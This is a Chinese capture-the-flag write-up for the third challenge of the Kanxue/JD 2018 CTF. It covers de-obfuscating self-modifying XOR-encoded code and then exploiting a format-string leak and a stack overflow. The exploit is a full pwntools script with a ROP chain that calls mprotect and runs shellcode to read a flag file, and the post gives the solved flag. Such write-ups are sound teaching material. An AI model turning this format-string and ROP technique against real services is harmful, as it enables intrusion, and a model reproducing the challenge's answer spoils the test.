-
-
[原创]看雪.京东 2018CTF 第三题 WP
-
2018-6-22 11:02 2735
-
此题从反逆向方面来说,运用了SMC和ptrace;从pwn方面来说,考察的是格式化漏洞和栈溢出而进行的ROP。
程序checksec:
Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x400000)
程序流程及解码
静态分析就遇到问题,程序有SMC。先上代码:
.text:0000000000400794 push rbp .text:0000000000400795 mov rbp, rsp .text:0000000000400798 sub rsp, 40h .text:000000000040079C mov [rbp+var_34], edi .text:000000000040079F mov [rbp+var_40], rsi .text:00000000004007A3 mov rax, fs:28h .text:00000000004007AC mov [rbp+var_8], rax .text:00000000004007B0 xor eax, eax .text:00000000004007B2 mov [rbp+var_30], 0 .text:00000000004007BA mov [rbp+var_28], 0 .text:00000000004007C2 mov [rbp+var_20], 0 .text:00000000004007CA mov [rbp+var_18], 0 .text:00000000004007D2 mov [rbp+var_10], 0 .text:00000000004007DA mov rax, cs:stdin@@GLIBC_2_2_5 .text:00000000004007E1 mov esi, 0 ; buf .text:00000000004007E6 mov rdi, rax ; stream .text:00000000004007E9 call _setbuf .text:00000000004007EE mov rax, cs:stdout@@GLIBC_2_2_5 .text:00000000004007F5 mov esi, 0 ; buf .text:00000000004007FA mov rdi, rax ; stream .text:00000000004007FD call _setbuf .text:0000000000400802 mov eax, 0 .text:0000000000400807 call welcome .text:000000000040080C call $+5 .text:0000000000400811 .text:0000000000400811 L_64: .text:0000000000400811 pop rax .text:0000000000400812 add rax, 7 .text:0000000000400816 jmp rax .text:0000000000400816 main endp .text:0000000000400816 .text:0000000000400818 ; --------------------------------------------------------------------------- .text:0000000000400818 sar rax, 0Ch .text:000000000040081C shl rax, 0Ch .text:0000000000400820 mov rdi, rax .text:0000000000400823 mov rdx, 7 .text:000000000040082A mov rax, 0Ah .text:0000000000400831 mov rsi, 1000h .text:0000000000400838 syscall ; LINUX - sys_mprotect .text:000000000040083A xor rax, rax .text:000000000040083D mov rdx, 6 .text:0000000000400844 push rax .text:0000000000400845 lea rax, szCh .text:000000000040084D mov rsi, rax .text:0000000000400850 pop rax .text:0000000000400851 mov rdi, rax .text:0000000000400854 syscall ; LINUX - .text:0000000000400856 call $+5 .text:000000000040085B .text:000000000040085B L0_64: .text:000000000040085B pop rax .text:000000000040085C add rax, 24h .text:0000000000400860 xor rcx, rcx .text:0000000000400863 mov dl, [rsi+rcx] .text:0000000000400866 .text:0000000000400866 L1_64: ; CODE XREF: .text:0000000000400878↓j .text:0000000000400866 ; .text:000000000040087D↓j .text:0000000000400866 mov bl, [rax+rcx] .text:0000000000400869 xor bl, dl .text:000000000040086B mov [rax+rcx], bl .text:000000000040086E mov dh, [rax+rcx-1] .text:0000000000400872 inc rcx .text:0000000000400875 cmp dh, 0FBh .text:0000000000400878 jz short L1_64 .text:000000000040087A cmp bl, 90h .text:000000000040087D jnz short L1_64
程序确实有SMC,以下部分就不能正确解析成指令了,直到0x400a73
,共500字节。
上面正确解析的指令代码流程比较简单:
- setbuf
- 调用welcome
- mprotect(0x400000,0x1000,PROT_READ|PROT_WRITE|PROT_EXEC)
- read(0,0x601080,6)
- 用输入的第一个字符异或解码0x40087F开始的代码,直到遇到nop指令。
注意到程序中一直使用call|pop
的方式获取指令的地址。
解码好办,因为如果存在上面的call|pop
或mov
小立即数,那指令代码中必有连续的00,直接寻找连续(2-3字节以上)的相同字节,此极有可能就是异或key。然后ida解码。发现
异或值是0x65,异或解码500字节后,发现中间有nop指令,其后指令解析不对,看来是解码字节多了。
.text:000000000040087F lea rax, (loc_400818 - 400818h)[rax+rcx] .text:0000000000400883 sub rax, 80h .text:0000000000400889 xor rcx, rcx .text:000000000040088C .text:000000000040088C LEn0_64: ; CODE XREF: main+107↓j .text:000000000040088C mov bl, byte ptr ds:(loc_400818 - 400818h)[rax+rcx] .text:000000000040088F xor bl, dl .text:0000000000400891 mov byte ptr ds:(loc_400818 - 400818h)[rax+rcx], bl .text:0000000000400894 inc rcx .text:0000000000400897 cmp rcx, 20h .text:000000000040089B jl short LEn0_64 .text:000000000040089D add rax, 80h .text:00000000004008A3 xor rcx, rcx .text:00000000004008A6 mov dl, [rsi+rcx] .text:00000000004008A9 inc rsi .text:00000000004008AC xor dl, [rsi+rcx] .text:00000000004008AF .text:00000000004008AF L2_64: ; CODE XREF: main:loc_4008C1↓j .text:00000000004008AF ; main+132↓j .text:00000000004008AF mov bl, byte ptr ds:(loc_400818 - 400818h)[rax+rcx] .text:00000000004008B2 xor bl, dl .text:00000000004008B4 mov byte ptr ds:(loc_400818 - 400818h)[rax+rcx], bl .text:00000000004008B7 .text:00000000004008B7 loc_4008B7: .text:00000000004008B7 mov dh, byte ptr ds:(loc_400817 - 400818h)[rax+rcx] .text:00000000004008BB inc rcx .text:00000000004008BE cmp dh, 0FBh .text:00000000004008C1 .text:00000000004008C1 loc_4008C1: .text:00000000004008C1 jz short L2_64 .text:00000000004008C3 cmp bl, 90h .text:00000000004008C6 jnz short L2_64 .text:00000000004008C8 nop
原来是要一步步解码,上面贩代码功能是解码下一部分代码,并编码前面一部分代码。编解码方式依然是异或,异或key为上次一异或值与下一个输入(上面代码是第二次输入)的异或结果。如此反复,用完第6个输入字节。
一共异或解码6次:
xor(0x40087f,0,74,'\x65') xor(0x4008c9,0,71,'\x13') xor(0x400910,0,71,'\x4b') xor(0x400957,0,71,'\x25') xor(0x40099e,0,62,'\x44') xor(0x4009dc,0,151,'\x0f')
所以解码的输入就是:
>>> a='\x65\x13\x4b\x25\x44\x0f' >>> >>> for i in range(6): ... print chr(tmp^ord(a[i])), ... tmp = ord(a[i]) ... 6 v X n a K
实际上有作用的代码只有如下:
.text:00000000004009FA mov rax, 1 .text:0000000000400A01 mov rdx, 5 ; count .text:0000000000400A08 lea rsi, szCh2 ; "wow!\n" .text:0000000000400A10 mov rdi, rax ; fd .text:0000000000400A13 syscall ; LINUX - sys_write .text:0000000000400A15 mov edi, 0 ; stream .text:0000000000400A1A call _fflush .text:0000000000400A30 xor rax, rax .text:0000000000400A33 .text:0000000000400A33 loc_400A33: ; count .text:0000000000400A33 mov rdx, 1Ah .text:0000000000400A3A mov rsi, rsp ; buf .text:0000000000400A3D mov ds:lpGoble, rsp .text:0000000000400A45 mov rdi, rax ; fd .text:0000000000400A48 syscall ; LINUX - sys_read .text:0000000000400A4A mov rax, cs:lpGoble .text:0000000000400A51 mov rdi, rax ; format .text:0000000000400A54 mov eax, 0 .text:0000000000400A59 call _printf .text:0000000000400A5E xor rax, rax .text:0000000000400A61 mov rdx, 200h ; count .text:0000000000400A68 lea rsi, [rsp+40h+buf] ; buf .text:0000000000400A6D mov rdi, rax ; fd .text:0000000000400A70 syscall ; LINUX - sys_read
还原下就是:
write(1,"wow!\n",5); read(0,rsp,26); printf(rsp); read(0,buf,0x200);
welcome
函数除了打印logo及一首诗外,还调用了test
函数,里面有ptrace
系统调用,代码还原为:
ptrace(PTRACE_TRACEME,0,1,0);
漏洞分析及利用
漏洞点很明显,有两个:
- 格式化漏洞,
printf
的参数为输入,完全可控 - 最后一个read是栈溢出。可以ROP。
格式化漏洞完全可以泄露libc地址,canary和栈地址。这样就可以直接ROP到one gadget
获取shell。
需要注意下,因为代码解码后又有编码,且后来的编码并不是还原,所以代码只能执行一次。
但是在利用过程中,发现shell似乎是暂停了,去掉ptrace就正常,怀疑是ptrace的事。
于是乎想直接shellcode,读flag。先mprotect修改栈区可执行,然后ROP到栈区执行cat文件的shellcode。
这个文件名让我一度怀疑没有成功,因为没有输出,浪费比较多的时间,最后才发现是成功的,只是文件名错了,flag的文件名是flag.txt
而不是flag
。
附上exp:
#!/usr/bin/env python from pwn import * def pwn(): global p puts_off = 0x6F690 pd_ret_off = 0x21102 #pop rdi ps_ret_off = 0x202e8 #pop rsi pp_ret_off = 0x1150c9 #pop rdx;pop rsi mprotect_off = 0x100b80#101770 mprotect_off = 0x101770 # puts_off = 0x6fd60 #local # one_gadget_off = 0x4647c #local # pd_ret_off = 0x22b9a #local pop rdi;ret # pp_ret_off = 0x10bd59 # mprotect_off = 0xf8590 p.recvuntil('\x85\xa7\n\n') p.recvuntil('**\n\n') p.send('evXnaK') sleep(0.5) p.send("dalao%p%13$p%8$s"+p64(0x601018)) p.recvuntil('dalao') stack = int(p.recvn(14)[2:],16) canary = int(p.recvn(18)[2:],16) puts_addr = u64(p.recvn(6)+'\x00'*2) pd_ret_addr = puts_addr - puts_off + pd_ret_off pp_ret_addr = puts_addr - puts_off + pp_ret_off mprotect_addr = puts_addr - puts_off + mprotect_off shellcode = asm(shellcraft.cat('flag.txt')) l = len(shellcode) log.info('shellcode length(<54):%d'%l) payload = 'A'*32+'A'*(88-32-l)+shellcode+p64(canary)+p64(0) payload += p64(pd_ret_addr)+p64(stack&0xfffffffffffff000) payload += p64(pp_ret_addr)+p64(7)+p64(0x1000) payload += p64(mprotect_addr)+p64(stack) p.recvuntil('\x18\x10\x60') p.sendline(payload) log.info('read file:flag.txt') print p.recvall(timeout=1) p.close() if __name__ == '__main__': context(arch='amd64', kernel='amd64', os='linux') # libc = ELF('./libc.so.6') if len(sys.argv) < 2: p = process('./wow1') context.log_level = 'debug' else: # 139.199.99.130 65188 p = remote(sys.argv[1], int(sys.argv[2])) # context.log_level = 'debug' pwn()
得到的flag为:572416a82fa298b09b87f733d5483ba51
[CTF入门培训]顶尖高校博士及硕士团队亲授《30小时教你玩转CTF》,视频+靶场+题目!助力进入CTF世界